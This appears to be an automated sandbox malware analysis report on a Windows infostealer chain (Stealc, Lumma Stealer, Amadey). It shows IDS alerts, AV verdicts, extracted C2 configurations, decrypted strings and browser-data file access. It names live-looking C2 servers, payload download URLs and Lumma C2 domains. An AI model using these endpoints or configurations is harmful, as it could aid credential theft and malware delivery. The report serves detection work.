2024-11-11T12:41:47.552259+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.6	61145	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.517702+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	50167	1.1.1.1	53	UDP
2024-11-11T12:41:23.239195+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	64225	1.1.1.1	53	UDP
2024-11-11T12:41:47.577871+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.6	49470	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.591728+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.6	58179	1.1.1.1	53	UDP
2024-11-11T12:41:23.358715+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.6	62829	1.1.1.1	53	UDP
2024-11-11T12:41:47.638449+0100	2057121	1	Domain Observed Used for C2 Detected	192.168.2.6	60509	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.615771+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.6	57356	1.1.1.1	53	UDP
2024-11-11T12:41:23.385428+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.6	57896	1.1.1.1	53	UDP
2024-11-11T12:41:47.665691+0100	2057119	1	Domain Observed Used for C2 Detected	192.168.2.6	58701	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.567754+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	62545	1.1.1.1	53	UDP
2024-11-11T12:41:23.326079+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	49993	1.1.1.1	53	UDP
2024-11-11T12:41:47.612375+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.6	60758	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.455686+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	59337	1.1.1.1	53	UDP
2024-11-11T12:41:23.175934+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	52334	1.1.1.1	53	UDP
2024-11-11T12:41:47.525768+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.6	63792	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.641756+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.6	65221	1.1.1.1	53	UDP
2024-11-11T12:41:23.414043+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.6	63664	1.1.1.1	53	UDP
2024-11-11T12:41:47.691750+0100	2057101	1	Domain Observed Used for C2 Detected	192.168.2.6	59480	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.542486+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	54772	1.1.1.1	53	UDP
2024-11-11T12:41:23.268297+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	62591	1.1.1.1	53	UDP
2024-11-11T12:41:47.586749+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.6	58183	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:05.961394+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:05.896642+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:06.159548+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:07.108201+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:06.174587+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:15.014710+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50121	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:05.693289+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:41:15.746546+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50122	185.215.113.206	80	TCP
2024-11-11T12:41:30.411183+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50150	185.215.113.206	80	TCP
2024-11-11T12:41:36.017449+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50158	185.215.113.206	80	TCP
2024-11-11T12:41:57.266573+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50170	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:04.797908+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50112	185.215.113.43	80	TCP
2024-11-11T12:46:06.473847+0100	2856147	1	A Network Trojan was detected	192.168.2.6	61413	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:10.882073+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50114	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:07.615173+0100	2803305	3	Unknown Traffic	192.168.2.6	50115	185.215.113.16	80	TCP
2024-11-11T12:41:12.166138+0100	2803305	3	Unknown Traffic	192.168.2.6	50118	185.215.113.16	80	TCP
2024-11-11T12:41:20.459362+0100	2803305	3	Unknown Traffic	192.168.2.6	50129	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:40:07.608465+0100	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:40:27.058071+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:28.400089+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:29.122925+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:29.483853+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:30.410632+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:30.895433+0100	2803304	3	Unknown Traffic	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:35.513248+0100	2803304	3	Unknown Traffic	192.168.2.6	49953	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:20.540156+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50131	188.114.97.3	443	TCP
2024-11-11T12:41:33.565571+0100	2843864	1	A Network Trojan was detected	192.168.2.6	50155	188.114.97.3	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T12:41:11.932884+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50116	23.50.98.133	443	TCP
2024-11-11T12:41:24.725450+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50135	23.50.98.133	443	TCP
2024-11-11T12:41:48.834469+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50165	23.192.247.89	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: scriptyprefej.store	URL Reputation: Label: malware
Source: http://185.215.113.16/8x	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/fB	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php37	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeP&/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpd	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/g	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/X	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phph	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000002.2554745091.0000000000041000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "crisiwarny.store", "necklacedmny.store", "navygenerayk.store", "scriptyprefej.store", "fadehairucw.store", "founpiuer.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}
Source: file.exe.6404.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: scriptyprefej.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: navygenerayk.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: founpiuer.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: necklacedmny.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: thumbystriw.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: fadehairucw.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: crisiwarny.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: presticitpo.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: presticitpo.store
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: - Screen Resoluton:
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: Workgroup: -
Source: 26.2.28d9ab8742.exe.d60000.0.unpack	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CC3A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC344C0 PK11_PubEncrypt,	0_2_6CC344C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC34440 PK11_PrivDecrypt,	0_2_6CC34440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC04420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CC04420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC825B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CC825B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CC1E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CC3A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CC18670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CC5A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC60180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CC60180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC343B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CC343B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC57C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CC57C00

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.98.133:443 -> 192.168.2.6:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.6:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.79.150.121:443 -> 192.168.2.6:61383 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:61397 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:61454 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: be33d1b9ea.exe, 00000020.00000003.2930938590.0000000004860000.00000004.00001000.00020000.00000000.sdmp, be33d1b9ea.exe, 00000020.00000002.3064925869.0000000000FA2000.00000040.00000001.01000000.00000010.sdmp, be33d1b9ea.exe, 00000022.00000002.3125430336.0000000000FA2000.00000040.00000001.01000000.00000010.sdmp, be33d1b9ea.exe, 00000022.00000003.3085015043.0000000005400000.00000004.00001000.00020000.00000000.sdmp, be33d1b9ea.exe, 00000025.00000002.3371914234.0000000000FA2000.00000040.00000001.01000000.00000010.sdmp, be33d1b9ea.exe, 00000025.00000003.3331506896.0000000005480000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2522999551.000000006CB4D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe

Directory queried: number of queries: 1294

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49709
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50112 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:59337 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:50167 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:62277 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:54772 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:62545 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.6:58179 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.6:57356 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50114
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50117 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50123 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50122 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50128 -> 185.215.113.43:80
